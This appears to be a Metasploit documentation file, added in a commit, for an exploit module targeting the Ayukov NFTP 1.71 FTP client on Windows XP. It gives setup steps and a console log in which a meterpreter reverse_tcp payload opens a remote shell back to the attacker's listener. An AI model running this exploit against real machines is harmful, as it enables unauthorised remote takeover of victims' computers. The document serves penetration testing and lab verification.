Create ayukov_nftp.md

Author: DanielRTeixeira

documentation/modules/exploit/windows/ftp/ayukov_nftp.md

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+## Vulnerable Application
+
+  Tested on Windows XP Professional SP3 EN
+
+  Install the application from the link below.
+
+  [NFTP 1.71](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe)
+
+## Verification Steps
+
+  1. Install the application
+  2. Start msfconsole
+  3. Do: ```use exploit/windows/ftp/ayukov_nftp```
+  4. Set options and payload
+  5. Do: ```exploit```
+  6. Connect to the FTP server using the NFTP FTP client
+  6. You should get a shell
+
+## Scenarios
+
+  To obtain a shell:
+
+  ```
+msf > use exploit/windows/ftp/ayukov_nftp
+msf exploit(windows/ftp/ayukov_nftp) > set PAYLOAD windows/meterpreter/reverse_tcp
+PAYLOAD => windows/meterpreter/reverse_tcp
+msf exploit(windows/ftp/ayukov_nftp) > set LHOST 192.168.216.5 
+LHOST => 192.168.216.5
+msf exploit(windows/ftp/ayukov_nftp) > exploit 
+[*] Exploit running as background job 0.
+
+[*] Started reverse TCP handler on 192.168.216.5:4444 
+msf exploit(windows/ftp/ayukov_nftp) > [*] Server started.
+[*] Sending stage (179779 bytes) to 192.168.216.156
+[*] Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.156:1046) at 2017-12-31 10:05:50 -0500
+  ```